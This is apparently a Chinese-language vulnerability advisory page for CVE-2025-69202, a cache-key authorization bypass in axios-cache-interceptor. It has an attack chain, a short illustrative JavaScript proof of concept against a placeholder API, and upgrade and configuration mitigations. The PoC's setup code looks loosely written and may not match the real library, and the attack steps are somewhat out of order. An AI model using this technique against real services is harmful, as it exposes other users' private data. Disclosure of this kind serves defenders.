IPBUF安全漏洞报告
English
CVE-2025-69202 CVSS 6.5 中危

CVE-2025-69202 axios-cache-interceptor授权绕过漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-69202
漏洞类型
授权绕过/缓存投毒
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
axios-cache-interceptor

相关标签

CVE-2025-69202axios-cache-interceptor授权绕过缓存投毒Vary头认证绕过JavaScriptNode.js

漏洞概述

axios-cache-interceptor是axios的缓存拦截器。在1.11.1版本之前存在严重的授权绕过漏洞。漏洞根源在于缓存键仅由URL生成,完全忽略了请求头中的认证信息。当上游服务响应包含Vary: Authorization头时,表示响应内容应随认证令牌变化,但该库会忽略这一指示,导致所有用户的请求共享同一缓存条目。攻击者可以利用此漏洞获取其他用户认证后的敏感数据,造成跨用户数据泄露。服务器端应用(API、代理、后端服务)使用axios-cache-interceptor缓存对上游服务的请求,且上游服务依赖Vary头来区分缓存时受影响。浏览器端单用户应用不受影响。

技术细节

漏洞存在于axios-cache-interceptor的缓存键生成逻辑中。正常情况下,当服务器响应Vary: Authorization时,缓存系统应将Authorization头值纳入缓存键计算,确保不同认证令牌的用户获得独立缓存。然而该库在1.11.1之前版本中,缓存键仅包含请求URL,导致所有使用相同URL但不同Authorization头的请求被错误地映射到同一缓存条目。攻击者只需构造一个请求,当目标用户已认证访问过相同URL时,即可获取该用户的缓存响应。这绕过了正常的授权检查,可导致敏感数据泄露。修复方案是在缓存键生成时自动检测并响应Vary头,将相关请求头纳入缓存键计算。

攻击链分析

STEP 1
1
受害者使用有效认证令牌访问受影响的API端点,axios-cache-interceptor缓存响应(仅基于URL)
STEP 2
2
攻击者使用不同认证令牌访问相同API端点,缓存拦截器返回受害者的缓存数据
STEP 3
3
攻击者成功获取受害者的敏感数据,绕过授权检查
STEP 4
4
服务器响应Vary: Authorization头被忽略,缓存键未包含认证信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-69202 PoC - axios-cache-interceptor Authorization Bypass const axios = require('axios'); const { CacheInterceptor } = require('axios-cache-interceptor'); // Setup cache interceptor (vulnerable version < 1.11.1) const api = axios.create(); api.interceptors.use(new CacheInterceptor()); // User A authenticates and makes request async function userAMakeRequest() { const response = await api.get('https://api.example.com/user/profile', { headers: { 'Authorization': 'Bearer userA_token_xxx' } }); return response.data; // Cached with key: URL only } // User B (attacker) with different token gets cached response of User A async function userBGetCachedData() { // Vary: Authorization is ignored, returns User A's cached data const response = await api.get('https://api.example.com/user/profile', { headers: { 'Authorization': 'Bearer userB_token_yyy' } }); // User B receives User A's private data! return response.data; } // Exploitation scenario: // 1. Attacker identifies API endpoint that uses axios-cache-interceptor // 2. Attacker makes request with their credentials // 3. If victim previously accessed same endpoint, attacker gets victim's cached data // 4. Authorization bypass achieved via cache poisoning

影响范围

axios-cache-interceptor < 1.11.1

防御指南

临时缓解措施
立即升级到axios-cache-interceptor v1.11.1,该版本默认启用Vary头自动支持。如无法立即升级,可在创建缓存配置时设置varyByHeaders: ['Authorization']来手动包含认证头作为缓存键的一部分。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表